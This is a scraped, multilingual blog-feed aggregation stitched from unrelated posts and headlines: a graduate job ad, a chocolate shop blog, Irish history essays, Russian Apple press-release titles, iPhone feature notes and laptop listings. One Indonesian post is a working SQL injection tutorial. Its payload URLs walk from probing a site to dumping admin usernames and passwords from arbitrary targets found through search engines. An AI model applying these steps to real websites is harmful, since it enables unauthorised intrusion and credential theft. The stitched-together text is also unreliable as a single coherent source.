              LBi need YOU...   
    The lost boys need you...

    Hello all.

    There's a new opportunity from LBi that you guys should be aware of. They've sent through quite a detailed graduate spec, with a few questions to answer. Have a look, and get involved:

    "LBi is a global marketing and technology agency blending strategic, creative, media and technical expertise to create business value.  We help our clients to understand ‘What’s next?’ on their digital journey to ensure their customer’s needs are being met in an ever evolving marketplace.


    We call what we do ‘Building Exceptional Things’. What that means is that we’re set up to solve our client’s business problems using a number of different digital initiatives.  We develop creative concepts that translate into digitally led advertising campaigns, transactional websites, loyalty programmes and social media campaigns and anything else along the way.  Our client list includes some of the UK’s biggest and most exciting brands such as Virgin Atlantic, Coca-Cola, Compare the Market, BT, Lloyd’s Banking Group and many, many more.


    The Opportunity


    To manage such high profile clients, we need exceptional people to join our 600 strong UK team, the majority working from our Brick Lane office in London.  We’re looking for up to 4 amazing graduates to become part of our Client Services department.  You’ll join our graduate training scheme where you’ll develop your skills over a 9 month period with a view to becoming a fully-fledged member of the team working as an Account Executive within one of our portfolio of clients. As part of our structured programme you’ll be given a background in all of our departments, work with some high profile clients and be sponsored through an industry recognised professional qualification with the Institute of Practitioners in Advertising (IPA).


    Given our dedication to developing new talent, we’re not solely looking for applicants with a background in marketing or digital (although this would be a bonus).  We’ll ensure that through training and on-the-job learning, LBi will help you become a well-rounded member of the agency with a solid background in all the essentials it takes to become an account management guru.  


    The Application Process


    In order to be considered for this opportunity we need you to send us your CV along with your responses to the questions outlined below by 25th June 2012.


    1. At LBi we help our clients through their digital journey, describe some of the key challenges you think they may face and how we could help. (200 words) 
    2. Our Client Services team are considered to be the face of the agency both to our clients and to our internal teams.  Why do you think you’d be a fantastic addition to our client services team? (200 words) 
    3. What excites you most about working in the digital industry?  (200 words) 
    4. Our values are expert, collaborative and provocative.  Give us an example of when you have embodied one or all of these values. (200 words) 
    5. We are known for putting on amazing parties.  If you were to be in charge of our next party, what would be the theme and how would you ensure it would be a success? (200 words) 


    You can either apply directly via our website at www.lbi.co.uk/join-lbi or email your application to careers at lbi.com with the subject header ‘Client Services graduate scheme’. If your application is successful you will be invited to take part in an assessment day in our Brick Lane offices on 17th July 2012."

    Sound interesting, gang? Good luck.


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    Shame.  I hang my head in SHAME, people!
    I've not had a hot minute to sit down and say hello since....

    Oh hell, last year.
    it's been 5 months since I wrote last.  Here's some bacon. 

    here's some smoky chipotle to cover the blogger's shame halo.

    this one's just cute.
    So so so much to report, Turtle Faithful!  First, let's go back to LAST YEAR's last post, which talked about our new location in Salem MA.  318 Derby St, people!  It's the prettiest shop we've had in Salem to date. Just lovely. The neighborhood has been so warm and supportive, and Amy, Brandy and Kathleen have been loving the new space.  A complete lemons-to-lemonade story, as far as I'm concerned.  Huzzah!
    We had a great holiday season in both shops, then a great Valentine's Day, as well.  One of the reasons Valentine's Day was so fab (despite its being on a Tuesday) was that the Phantom Gourmet filmed an excellent piece on us.  Couldn't have been nicer to work with, and the timing of the release was beyond perfect.  Watch it here: 

    In that same week (more great timing, and lovely people to work with), our caramel apples got the spotlight on InsiderFood, here:

    SO:  we had a crazy amount of really wonderful publicity, and have gotten to see a ton of new faces as a result, not to mention all of our loyal customers who have made us what we are today. We are lucky dogs!
    In chocolate news, we've stretched our truffle wings a little this winter, and added a couple of new flavors:
    Sharing is optional, and not necessarily recommended.
    One of our turtle worker bees, Natalia, (and her husband) love to travel.  She often brings me back treats.  Last summer she brought me back a most divine pink grapefruit truffle, which haunted me for months.  I had to figure it out, as I didn't expect to be heading that way with the holidays approaching, and I wanted more.  I couldn't be more pleased with the final product (if I do say myself):  a true balancing act of tart, sweet, deep, dark, delicious.  Feeling pretty proud of that baby.
    We also made a beautiful milk chocolate wild fruit ganache truffle.  I'm not always a milk chocolate-with-fruit type of gal, but I have to say, it's damn good.

    Of course, March is here, so the Stout Truffle is here too.  Grab them while the grabbin's good, people.

    See?  I've been a busy bee. Too busy to write until just this moment.  And actually, it was great to get back to the ole keyboard.  It's really something to put it all down and see how much has actually gone on in the past few months!

    Next up?  Easter!  Stay tuned for bunny updates!  xxx




              October, Witch City, & the Neverending Story of the Caramel Apple Forest   
    and so it begins...
    It's not quite a month since my last dispatch, but man oh man, has it been a busy not-quite-a-month. First, let's just get this out there:  we have a sister shop in Salem Ma.  It's October.  I'm delirious.

    Sorted!

    This month has been really fun, exciting, and intense.  I've been able to do my favorite thing, making candy, but also have had the opportunity to do some other things, mostly around my book .  On the 10th, I did a chocolate making demo and book signing at Williams Sonoma  in R.I. (my home state).  It's a beautiful shop, and I had a really lovely crowd there.  Probably the best part about the whole thing was I got to troubleshoot a truffle recipe an attendee was having difficulty with.  When I was able to explain what the problem was, I swear, I actually saw a light bulb go off over her head.  It felt really good to connect in that way over one of my favorite subjects.  Also, we sold some books, which was excellent.

    A couple of days later, I did an interview on local TV (here in Gloucester).  The show "Writer's Block" has been hosted by John Ronan for 26 years.  John's an old friend of my husband's, and a lovely fella.  We had a great time talking about the book and such.  It was a bit surreal to be introduced as an author -- I'm still getting used to that.  The actual show will air December 17th; I hope it looks as fun as it actually was.

    In October, with the Salem shop in full swing, the shop here in Gloucester really starts to feel like a factory:  constant production, long hours, many hands making the work flow smoothly.  For me, it's about heading into work in the dark, and leaving work in the dark, too -- and that's fine.  Making hay is hard work.

    I'm pretty proud of the caramel recipe I've been tweaking over the years.  It is exactly the caramel I always want to eat.  Probably about 8 years ago, our longest running manager in the Salem shop, Jennie the Boots, basically nagged me into adding caramel apples to our repertoire.  It was a truly brilliant idea. It is crazy how many of those babies we sell.  Right now, I feel like pretty much all I'm doing is cooking caramel and dipping apples into it.

    Dark out.  
    Also dark out.
    This is actually really cool.  Early in the morning (when I can hear myself think), I sometimes take a second to think of just how many people have enjoyed our apples, turtles; all of the stuff we make here with our own hands.  Somehow it makes it not seem so dark out.

    I'm going to sign off now, there's a batch of caramel on the stove that will not be ignored.  Before I do, I'm going to take a second and think about all the people at Turtle Alley that make the work so much fun, and make my days so much easier.  Graham, LeRoy, Amy, Kathleen, Hannah, Brandy, Bree, Julian, Fiona, Natalia, and Zoe:  thank you.   I couldn't do it without you, and wouldn't want to!















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              Apple представляет iTunes Radio в Австралии   
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              Apple объявляет о проведении iTunes Festival в рамках SXSW – пять потрясающих вечеров с пятью великолепными шоу   
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              Apple представляет CarPlay — более продуманный, безопасный и увлекательный способ использования iPhone водителями в автомобилях   
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              Питер Оппенхаймер покинет Apple в конце сентября   
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              Apple обновляет самый доступный 9,7-дюймовый iPad – теперь с дисплеем Retina, улучшенными камерами, большей производительностью и по цене от 14 990 руб.   
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              Всемирная конференция Apple для разработчиков начнётся 2 июня в «Москоун Вест», Сан-Франциско   
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              Apple увеличивает выплаты по программе возврата капитала до суммы свыше 130 млрд долларов   
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              NTT DOCOMO и Apple начинают продажи iPad в Японии со вторника, 10 июня   
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              Apple выпускает комплект iOS 8 SDK, содержащий свыше 4000 новых программных интерфейсов   
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              Apple и IBM заключают всемирное партнёрство для преобразования мобильных разработок в корпоративной среде   
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              Apple объявляет о доступности iOS 8 с 17 сентября   
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              Ba, c'est un Irlandais!   
    Well, I’m heading out of the country again. If I said that twenty years ago, you would have the impression that I was a successful businessman with a mythical travelling lifestyle. Nowadays, it can cost as much to go to Warsaw from Dublin as it does to Limerick.

    I’m not going for a short break, or a holiday, or even a wedding. I will be embracing one of the oldest and strongest Irish traditions. After rebelling, the favourite activity of the Irish is leaving the country. And that’s usually the chronological order it takes as well. I’m going to France. But don’t worry, it’s just for the winter season.

    Oh, the histories I could tell you of Irishmen going to Gaul/France. I could start with John Scotus Erigena, a great 9th century Irish philosopher whose career culminated with service at the court of the French King. He is regarded as Europe’s greatest philosopher of the early Middle Ages. And then you’ve got Irish mercenaries sighted in France in the 14th century. But Irish holidays to France really took over in the 18th century.




    In the 18th century, the number of Irish soldiers leaving for France reached its peak. They didn’t just go over there because of this mysterious season called ‘summer’, no. For the previous two centuries, at least, there was a great link between France and Ireland. It began as a religious link, with Irish students studying in France (before the Celtic Tiger in Ireland, generally if you were studying at university level, it meant you were studying for the priesthood!), but then blossomed into a military link with numerous brigades of the French armies composed of men of Irish descent. In some cases, an Irishman would join the very same brigade of the French army as his grandfather. 

    The reason France is not speaking a Gaelic tongue now –the reason for the decline of the strong Irish-French connection – is because the British army lifted its ban on recruiting Irishmen. And they lifted it well! By the end of the 19th century, there were, apparently, more Irish commanding officers serving in the British Empire than there were Welsh, Scottish or even English commanding officers!

    And the axiom is still holds true today – Irish people become more successful abroad than in their own country.

    So, come on Grenoble, give me a commanding position!

    My flat there is a penthouse, does that count?
              Apple сообщает о рекордном количестве предзаказов на iPhone 6 и iPhone 6 Plus, превысившем 4 миллиона за первые 24 часа   
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              Una perspectiva radial sobre el iPad   

    A días del lanzamiento mundial del iPad, queremos darles a ustedes una perspectiva de la experiencia que se tendrá al escuchar la radio por internet. Aquí les va algunas recomendaciones si quieren comprar uno de estos gadgets.

    Mayor amplitud de visión
    .: Como sabemos el iPad es una mezcla de una notebook y un iPhone. En el ámbito radial podremos tener una mejor visión de nuestro playlist musical, aparte de poder hacer un zoom manual y ver las opciones que se nos muestra.

    Calidad de sonido
    : ¿Tendrá la misma calidad de sonido que sale por una MacBook Pro o un iPhone? es la interrogante por la cual hay que comprar un iPad si uno tiene tendencia a la música o a la radio. Tendremos que verificar si suena igual o mejor a los dispositivos antes de comprarlo.

    Continuar leyendo para leer todo el artículo.



    El tiempo de vida de la batería
    : Es de suma importancia esto ya que esto es depende de cada persona. Sobretodo para aquellos que tienen que ir en bus o en el tren y necesitan escuchar algo de música. Apple había anunciado que el iPad tendría un tiempo de duración de la batería de 10 horas. Por lo cual no estaría mal hacerle un testeo previo.

    Aplicativos y softwares compatibles
    : Una pregunta que me hago es que si los aplicativos radiales que se usaban para el iPhone tendran compatibilidad con el iPad. A esto debemos sumarle si algunas empresas ya han creado software de webcast. Esperamos su anuncio señores.

    Velocidad de tranmisión de datos: iPad ofrece conectividad con 3G Wireless. Así que es un punto a favor para los que quieran escuchar música con calidad superior a los 192 kbps. Ahora me pregunto si algún broadcaster visitante del blog se animaría a transmitir radio por internet por el iPad. Para los que ya lo han comprado sería muy bueno que comenten en este post la experiencia radial que han tenido con este dispositivo.
              ‘… a grey eye will look back’   

    I picked up Human Chain today. It's a book of poetry written by Séamus Heaney. I picked it from my bookshelf where it had been sitting for a few months. I'm not a big reader.

    Though I do enjoy poetry. Once in a while. It enriches words again and, in doing so, enriches and clarifies the passing of time. Poetry is well-thought meaning-rich words. Talk is cheap these days. It's always been. Though, it seems to be getting cheaper with every advertisement, and every figure who has said too much.

    Here's one of his poems from 'Human Chain' to reinvest the meanings to words that are, like nearly everything in this financially-vacuous state, in need of reinvestment:


    ‘Colum Cille Cecinit’
    1. Is scíth mo chrob ón scríbainn
    My hand is cramped from penwork.
    My quill has a tapered point.
    It's bird-mouth issues a blue-dark
    Beetle-sparkle of ink.

    Wisdom keeps welling in streams
    From my fine-drawn sallow hand:
    Riverrun on the vellum
    Of ink from green-skinned holly.

    My small runny pen keeps going
    Through books, through thick and thin,
    To enrich the scholars' holdings -
    Penwork that cramps my hand.

    II. Is aire charaim Doire
    Derry I cherish ever.
    It is calm, it is clear.
    Crowds of White angels on their rounds
    At every corner.

    III. Fil súil nglais
    Towards Ireland a grey eye
    Will look back but see
    Ever again
    The men of Ireland or her women.

    11th-12th century


              The Croppies Acre   

    Primordial have released a new album. Actually, it’s been out for quite a while now. Upon initial listen, it doesn’t sound like their best work. But then I recall how it took me no less than a year of occasionally listening to Primordial before I realised how brilliant the band is.

    This new album is called ‘Redemption at the Puritan’s Hand’. Now, for those of you who are familiar with Irish history you will at once be reminded, upon reading ‘puritan’, of that darkest of figures in Irish history, Oliver Cromwell. Obviously, the title imbues the notions of redemption from someone closer to God and His will, and of death at someone’s hand. As is Primordial’s style, they have never mentioned the English outright and, rather, prefer to simply allude to them. Hence, their songs are metaphorical, sometimes ironical, and often include very rich imagery and intense emotive expressions, which all make their songs, for all intents and purposes, poems (you rarely say that about any genre of music, let along metal).

    The first song ‘No Grave is Deep Enough’ has the chorus ‘O death! Where are you teeth? That gnaw the bones of fabled men. O Death! Where are you claws? That haul me from the grave.’ and ends with a great lyric: ‘Rise, my brothers, rise from your graves. No grave is deep enough to keep us enchained.’ I just had the thought that this could so easily refer to the Croppies’ Acre.

    Croppies’ Acre is an enclosure situated in front of Collins Barracks in Dublin city centre. It was in this small patch of ground where hundreds, some say over one thousand, of Irish men were buried in one mass grave after the 1798 rebellion. They were mercilessly tortured, marched out to their soon-to-be graves in heavy chains, before being executed for ‘being’ rebels. Then, their corpses were thrown into a mass grave. Made an example of by the British authorities, buried in unconsecrated ground, their memory erased, forgotten about by not only the British but also the Irish themselves, the souls buried underneath that patch of grass are still very angry. I’ve been told by psychics that many of those souls have not yet passed on into the next world. Such was the injustice served to them that they can only but wait for those wrongs to be righted, or avenged.

    I, as well as many others, remember them. We have not forgotten. I believe they know this. And I hope they also know that no grave is deep enough to keep them enchained.


              Apple представляет 27-дюймовый iMac с дисплеем Retina 5K   
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              Online profiles   

    This really going to be more of an update, or news report than a blog. I know, it's a shame - I haven't blogged in quite a while. The reason is simply because I'm busy with all the tours I have - a nice complaint to have. It's the high season; if i'm not busy now, I don't stand much of a chance of making any money!

    Anyway, just wanted to let you know that my online presence can be found in myriad places:
    View Rob's tour guide profile on LocalGuiding
    toursbylocals.com
    tourguides.viator.com
    LinkedIn
    Viamigo
    Facebook
    This blog, of course!

    Any comments or suggestions would be very welcome. Thanks!

              Apple представляет iPad Air 2 — самый тонкий и мощный iPad в истории   
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              What happened today?   

    Arthur Wellesley, aka The Duke of Wellington, aka the guy who defeated Napoleon, was born on this day in 1769. Unfortunately (in his eyes nonetheless), he was born in Ireland. 

    Now there are many greats in Ireland's history that were born in Ireland but whose parents, or at least one of them, were English. Take some literary figures for example. Swift, Wilde, Yeats and Stoker are not strikingly obvious Irish names (I bet ALL of them are not Irish names), yet we definitely count them in the list of great Irish literary figures. Heck, I'm one of the few who would even count Shakespeare in the list!

    But, we don't know for certain which, if any, would actually prefer NOT to be counted in such a list. Wellington definitely did not really regard himself as an Irishman, or if he did, he resented such a tag. We don't care. If he didn't  want to be one of us, we don't want him to be one of us! So there, Wellington!

    That's the way I see the 'label' of 'Irishness' - you can claim or deny Irishness, but only with legitimate principles: and "it's St. Patrick's Day, I'm Irish" is not legitimate!

    I bring up this issue on today of all days because there's a royal wedding happening in London. It will be watched by a couple billion people around the world, among them many Irish. Nowadays, we Irish have a strange relationship with the British monarchy (a relationship that will get even stranger, I bet, once and after the Queen arrives for a visit) - many Irish bought 'Candle in the Wind' after Diane's death, and, doubtless, thousands have tuned in today to watch the royal wedding. I am not one of them.

     So I wonder if many people in Ireland today have done 'a Wellington'.

              Apple обновляет Mac mini   
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              Apple добавляет возможность оплаты через UnionPay для пользователей App Store в Китае   
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              Apple и IBM выпускают первую серию решений IBM MobileFirst for iOS   
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              Apple представляет iPhone 5s — самый передовой смартфон в мире   
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              NTT DOCOMO и Apple запускают iPhone в Японии с пятницы, 20 сентября   
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              Анджела Арендтс присоединяется к Apple в должности старшего вице-президента по розничным и онлайн-продажам   
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              China Mobile и Apple добавят в iPhone поддержку сетей 4G и 3G от China Mobile 17 января 2014 г.   
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              Извещение для акционеров Apple за 2012 г. опубликовано онлайн   
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              بررسی اولیه اپل ایرپاد که به تازگی عرضه شده است   

    بلاخره عرضه Apple Aipod در ایالات متحده آغاز شد. در این مقاله بررسی اولیه سایت Digitaltrends بر روی این محصول اپل را برای شما گزارش می‌کنیم.

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              Apple сообщает результаты за первый квартал   
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              Apple представляет совершенно новый MacBook Pro с дисплеем Retina   
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              Apple анонсирует iOS 6 с абсолютно новыми картами, функциями Siri, интеграцией с Facebook, общими фотопотоками Shared Photo Stream и новым приложением Passbook   
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              Apple обновляет MacBook Air и текущее поколение MacBook Pro, оснащая их новейшими процессорами и графикой   
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              Боб Мэнсфилд, старший вице-президент Apple по разработке аппаратных платформ, уходит на пенсию   
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              Apple сообщает результаты за третий квартал   
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              Крейг Федериги, вице-президент Apple по программному обеспечению Mac, и Дэн Ричио, вице-президент Apple по аппаратным платформам, присоединяются к руководящей команде Apple в качестве старших вице-президентов   
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              Apple представляет новые iPod touch и iPod nano   
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              Apple представляет 13-дюймовый MacBook Pro с дисплеем Retina   
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              Apple объявляет об изменениях, усиливающих взаимодействие в работе над аппаратными платформами, программным обеспечением и сервисами   
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              HTC и Apple урегулировали патентный спор   
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              Apple открывает iTunes Store в России, Турции, Индии, Южной Африке и ещё в 52 странах мира   
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              Apple обновляет MacBook Pro: процессоры и графика нового поколения, технология Thunderbolt I/O   
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              Apple представляет iOS 4.3   
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              La version 3.0 du logiciel de l’iPhone   

     

    Fonction “Push”

    Actuellement, lorsque vous êtes dans n’importe quelle application de votre iPhone et que vous recevez un SMS, celui-ci vous affiche une notification. Avec la mise à jour 3.0, absolument toutes les applications, même celles téléchargés sur l’AppStore pourront vous envoyer des notifications; cela peut être très utile quand par exemple vous recevez un nouveau message sur Facebook, ou un nouveau message instantanné sur AIM.

    Un AppStore plus “ouvert”

    A partir de la sortie de l’iPhone 3.0, vous pourrez avoir un AppStore “interne” aux applications. Par exemple, un jeu peut proposer un niveau en plus ou une application une carte en plus. Il vous suffira de choisir, de tapes votre mot de passe iTunes et le contenu se téléchargera, tout cela sans sortir de l’application. Le deal reste le même sur sur l’AppStore, 70% pour les develloppeurs, 30% pour Apple.

    Copier / Coller

    Il est maintenant possible, seulement en “double tapant” sur un texte, de le sélectionner, de le couper, de le copier et de le coller. Cela est une fonction “de base” mais qui reste très utile et très rare sur un appareil mobile.

    MMS

    L’Application SMS est renommée Messagerie :  elle permets maintenant d’envoyer, toujours dans le même principe, des contenu multimedia - mais aussi des contacts - par MMS. Une fonction simple mais qui manquais cruellement à l’iPhone.

    Cette fonction ne sera disponibles que pour les iPhones 3G.

    Bluetooth

    On dévellope un peu plus l’utilisation du Bluetooth sur l’iPhone: Si vous possédez un casque audio bluetooth, il est maintenant possible de l’utiliser comme casque d’écoute, par exemple pour l’iPod.

    P2P

    Il est maintenant possible de créer un petit réseau privé avec des iPhones et des iPod Touch à proximité, par exemple pour envoyer des fichiers ou jouer à des jeux à 2.

    Applications en mode paysage

    Jusqu’ici, peu d’applications pouvaient tourner en mode paysage. Désormais, toutes les applications livrés avec l’iPhone peuvent fonctionner avec ce mode.

    Recherche

    Une nouvelle fonction permets de rechercher n’importe quel mot clef sur toutes les applications de votre iPhone.

    Cette version sortira en Juin, Gratuite pour les iPhone et iPhone 3G et au prix de 9,99$ pour les iPod Touch. Elle est disponible avec son SDK pour les dévellopeurs inscrits au programme iPhone (99$). Attention: Si vous trouvez le logiciel sur des sites torrent, il est impossible de l’utiliser car l’iPhone doit être enregistré auprès du programme dévellopeur. Il est egalement impossible de repasser en version 2.2.1, donc si vous n’êtes pas inscrit au programme de dévellopement, vous aurez un iPhone bloqué jusqu’en juin.

     


              Бертран Серле покинет Apple   
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              Apple iWork теперь доступен пользователям iPhone и iPod touch   
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              Apple представит программное обеспечение нового поколения на презентации в понедельник 6 июня   
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              Apple представляет iCloud   
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              Apple совершает революцию в области видеомонтажа с Final Cut Pro X   
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              Apple сообщает результаты за третий квартал   
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              Apple представляет первый в мире дисплей с Thunderbolt   
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              Apple обновляет Mac mini   
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              Apple обновляет MacBook Air: процессоры нового поколения, технология ввода/вывода Thunderbolt и клавиатура с подсветкой   
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              Стив Джобс уходит с поста генерального директора Apple   
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              Apple наделяет iPod touch и iPod nano новыми великолепными функциями, делая их более доступными по цене   
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              Apple объявляет о запуске iPhone 4S, iOS 5 и iCloud   
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              Apple запускает сервис iCloud 12 октября   
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              Сообщение Apple для прессы   
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              Сообщение Совета директоров Apple   
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              Apple сообщает результаты за четвёртый квартал   
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              Apple назначает Артура Левинсона председателем совета директоров   
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              Розничный магазин Apple Store Grand Central открывается в пятницу 9 декабря   
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              Un lancement le 26 août pour le Galaxy Note 8 ?   
    Des rumeurs émanant de Corée du Sud semblent confirmer que cette année encore, Samsung présentera son Galaxy Note 8 très en amont d'Apple, histoire de lui damer le pion en vendant ses terminaux 4 semaines avant la...
              Извещение для акционеров Apple за 2010 г. опубликовано онлайн   
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              Хвастушка: Летний топ-майка спицами укороченными рядами   

    Это цитата сообщения ЛАНА_ВИ Оригинальное сообщениеХвастушка: Летний топ-майка спицами укороченными рядами

    Пчелки родные, сегодня 2 топа на разные вкусы👚 Сиреневый - попроще и зеленый - посложнее. Все можно фантазировать и видоизменять. 

    Впервые попробовала что-то связать в технике укороченных рядов. Великолепная штука для творчества. 

    Пробуйте, творите и "вытворяйте"heart 😉
    https://www.youtube.com/watch?v=V62BJq4tnTA&am...xYWymN7htz_DMZmNCEWPQ0MUytxHj1




              Apple сообщает результаты за первый квартал   
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              Apple представляет iPad   
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              Apple представляет Aperture 3   
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              Apple предъявляет иск HTC за нарушение патентных прав   
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              Ушёл из жизни член правления Apple Джером Б. Йорк   
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              Apple реализует более 300 000 iPad в первый день продаж   
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              Relatos do Condado de Areia.   
    É quando você se vê sozinho em meio a uma região aberta coroada por árvores secas; e o 
    vento vêm forte do leste... 

    Os pássaros alarmados voam baixo para longe; e o céu começa a escurecer com nuvens pesadas em cima de sua cabeça.

    E você sente que algo de má sorte se aproxima cavalgando disparado sob a morna areia 
    aquecida pelo sol do fim da tarde. 
    E então o horizonte lhe encara.
    E você espera. 
    (...)

    Relatos do Condado de Areia Parte I de X





              Apple знакомит с iPhone OS 4   
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              Apple обновляет линейку MacBook Pro   
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              Apple сообщает результаты за второй квартал   
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              Всемирная конференция Apple для разработчиков начнётся 7 июня в Сан-Франциско   
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              Компания Apple продала один миллион iPad   
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              Стив Джобс откроет Всемирную конференцию Apple для разработчиков 2010 выступлением 7 июня   
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              Компания Apple продала два миллиона iPad менее чем за 60 дней   
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              Apple представляет iPhone 4   
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              Apple представляет Safari 5   
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              Apple запускает сервис iAd 1 июля   
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              Apple представляет абсолютно новый Mac mini   
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              Компания Apple продала три миллиона iPad за 80 дней   
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              Letter from Apple Regarding iPhone 4   
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              Apple сообщает результаты за третий квартал   
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              Сообщение Apple, касающееся iPhone 4 белого цвета   
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              Apple представляет новый 27-дюймовый LED Cinema Display   
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              Menstabilkan Koneksi Internet 2   
    Setelah dulu sempat membuat artikel untuk menstabilkan koneksi internet yang sering putus dengan cara melakukan ping melalui command prompt, sekarang saya mau berbagi lagi nih. Tetap sama topiknya, yakni menstabilkan koneksi internet juga. Tapi yang kali ini agak berbeda, soalnya tidak melakukan ping.. :D

    Pengen tahu??? Lanjut baca bro.. XP
    Karena sejak kemarin koneksi internet saya selalu putus-putus walaupun sudah melakukan ping, apalagi saat bermain Ragnarok. Akhirnya saya putuskan untuk browsing tentang menstabilkan koneksi internet lagi. Dan alhamdulillah saya bisa menemukannya dari forum IDWS. Saya tidak tahu sang TS mendapatkan cara ini darimana, tapi yang pasti cara ini benar-benar work 100% bro.. ^_^

    Yuk kita mulai saja... :P
    1. Pertama, klik kanan My Computer, lalu klik Properties.
    2. Klik tab Hardware, lalu klik Device Manager.
    3. Cari yang bertuliskan Modem, klik dua kali.
    4. Lalu klik dua kali pada nama modem Anda.
    5. Sekarang pilih tab Advanced.
    6. Pada kotak Extra Initialization Commands, ketikkan +MS=V34
    7. Klik Ok.
    8. Reconnect modem Anda.


    Saya menggunakan modem Smart AC682 dan cara ini berhasil, saya bermain Ragnarok dari pagi sampai sore tanpa putus.. ^_^

    Note: "Hanya berlaku untuk modem-modem baru, saya tidak bertanggung jawab dengan apa yang terjadi pada modem Anda jika Anda menggunakannya pada modem tipe lama."

    Sekian dari saya, semoga bermanfaat. ^_^

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              Apple обновляет линейку iMac   
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              Apple обновляет Safari 5   
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              Apple представляет новый iPod touch   
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              Apple представляет iTunes 10 c сервисом Ping   
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              Apple представляет новый Apple TV   
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              Apple заново изобретает iPod nano с поддержкой интерфейса Multi-Touch   
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              Apple представляет новый iPod shuffle   
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              Сообщение Apple, касающееся правил утверждения приложений в App Store   
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              Технология беспроводной печати AirPrint от Apple станет доступна пользователям iPad, iPhone и iPod touch в ноябре   
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              SQL Injection Melalui URL   
    Udah pada tahukan sql injection itu apa? Kalau yang belum tahu langsung cabut aja dulu ke wikipedia / google gan.. :D


    Ok, buat yang udah tahu apa itu sql injection tapi masih bingung caranya. Nih saya share disini..


    Pertama-tama mari siapkan :
    1. Target yang akan dituju (bisa di cari di google, bing, dll)
    2. Segelas air putih (biar ga dehidrasi di depan komputer yang panas.. hehe)


    Langsung aja ya..
    Kalau begitu pertama kita cari targetnya, misalkan http://www.target.com/news.php?id=1
    Nah kita tambahkan kutip satu di belakang angka 1 untuk mengetahui apakah web tersebut vulnerable dengan sql injection atau tidak.
    Nanti urlnya jadi begini http://www.target.com/news.php?id=1'


    Lihat apakah muncul error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax
    Kalau muncul error seperti di atas, berarti web tersebut vulnerable. :D


    Selanjutnya kalau sudah vulnerable kita lanjutkan dengan mengubah url menjadi http://www.target.com/news.php?id=-1+order+by+1--
    Cek apakah terdapat error lagi atau tidak, kalau tidak lanjutkan dengan mengganti angka 1 yang dibelakang dengan angka 2 dst..
    Misalkan terdapat error di angka 5, berarti kita ambil angka 1, 2, 3, dan 4 untuk langkah berikutnya..


    Sekarang ubah url menjadi http://www.target.com/news.php?id=-1+union+select+1,2,3,4-- untuk melihat angka ajaib yang keluar.. :D
    Jika yang keluar angka 3, maka kita ganti angka 3 tersebut menjadi @@version atau version() untuk mengetahui versi mysql yang di gunakan : http://www.target.com/news.php?id=-1+union+select+1,2,@@version,4--


    Kalau versi mysqlnya 4 kita tinggalkan saja dan cari web yang baru, tapi kalau versi 5 kita lanjut bang.. :D


    Kita sudah tahu versi mysqlnya adalah 5, jadi sekarang kita ubah kembali urlnya menjadi
    http://www.target.com/news.php?id=-1+union+select+1,2,group_concat(table_name),4+from+information_schema.tables+where+table_schema=database()--
    untuk mengetahui tabel-tabel yang ada di web tersebut.

    Jika nama tabelnya sudah keluar, kalian cari mana yang mencurigakan dari namanya. Misalkan kita dapat "admin_log" tanpa kutip.


    Kita buka tabel tersebut dengan mengganti group_concat(table_name) menjadi group_concat(column_name) dan information_schema.tables menjadi information_schema.columns lalu table_schema=database() menjadi table_name=admin_log tapi "admin_log" harus di convert dulu ke bilangan hexadesimal dan tambahkan 0x di depan hasil convertnya.
    Misalkan hexadesimal admin_log adalah 12345, menjadi 0x12345.


    Lihat nama apa saja yang keluar, misalkan "admin,pass".
    Kita buka saja isi dari column itu untuk mengetahui username dan password adminnya.. :D
    Kita ubah group_concat(column_name) menjadi group_concat(admin,0x23,pass) dan information_schema.tables+where+table_name=0x12345 menjadi admin_log.



    Dengan begitu keluarlah semua username dan passwordnya.
    Sekarang kalian tinggal mencari halaman login untuk adminnya saja.., tapi ingat jangan disalah gunakan ya.. ;)


    Semoga bermanfaat.. ^_^

              Apple сообщает результаты за четвёртый квартал   
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              Apple наделяет Mac функцией FaceTime   
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              Apple предварительно знакомит с новой операционной системой Mac OS X Lion   
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              Apple представляет iLife ’11 со значительно обновлёнными iPhoto, iMovie и GarageBand   
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              Apple меняет представление о ноутбуках с новым MacBook Air   
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              Oracle и Apple представляют проект OpenJDK для Mac OS X   
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              Рональд Д. Шугар присоединяется к Совету директоров Apple   
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              Сервис iAd от Apple приходит в Европу в декабре   
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              Acer AS4738-372G32Mn BT   
    Acer AS4738-372G32Mn (SeniorNet)



    Acer AS4738-372G32Mn BT
    Procesor : i3-M370 2.40GHz
    RAM : 2DDR3
    HDD : 320
    VGA :intel HD Graphic/ 675 MB
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              iOS 4.2 от Apple доступно с сегодняшнего дня на iPad, iPhone и iPod touch   
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              Acer AS4738Z-P622G32Mn   

    Acer AS4738Z-P622G32Mn
    Procesor : P6100 2.0GHz
    RAM : 2DDR3
    HDD : 320
    VGA :intel HD Graphic/ 123 MB
    Feature : WC, CR, HDMI, BT
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              Mac App Store компании Apple откроется 6 января   
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              Продажи новых Apple TV достигнут одного миллиона до конца недели   
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              Apple представляет 17-дюймовый MacBook Pro с инновационным встроенным аккумулятором, который обеспечивает до восьми часов работы и 1000 подзарядок   
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              Apple представляет iLife ’09   
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              Apple представляет iWork ’09   
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              Apple’s 2009 Proxy Statement Now Online   
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              Apple сообщает результаты за первый квартал   
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              Apple представляет Safari 4 — самый быстрый и удобный браузер в мире   
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              Apple представляет новый Mac Pro   
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              Apple обновляет линейку настольных компьютеров   
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              Apple представляет новый удивительный iPod shuffle   
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              Apple знакомит с бета-версией iPhone OS 3.0 для разработчиков   
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              Apple повышает мощность Xserve в два раза   
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              Apple сообщает результаты за второй квартал   
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              Компания Apple представляет новый iPhone 3GS — самый быстрый и самый мощный из всех iPhone   
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              Apple представляет Mac OS X Server Snow Leopard   
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              Apple представляет Safari 4 — самый быстрый и самый современный браузер в мире   
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              Компания Apple представляет Mac OS X Snow Leopard.   
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              Apple обновляет семейство MacBook Pro. Инновационный встроенный аккумулятор: срок работы увеличен почти на 40%.   
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              Компания Apple продала более миллиона телефонов iPhone 3GS   
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              Число загрузок из интернет-магазина App Store компании Apple превысило 1,5 миллиарда за первый год   
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              Opini-Setitik Asa Generasi Muda   
    "Setitik Asa Generasi Muda" (Serambi Indonesia, 27 Oktober 2012)


    Oleh Cut Liza Novita Sari

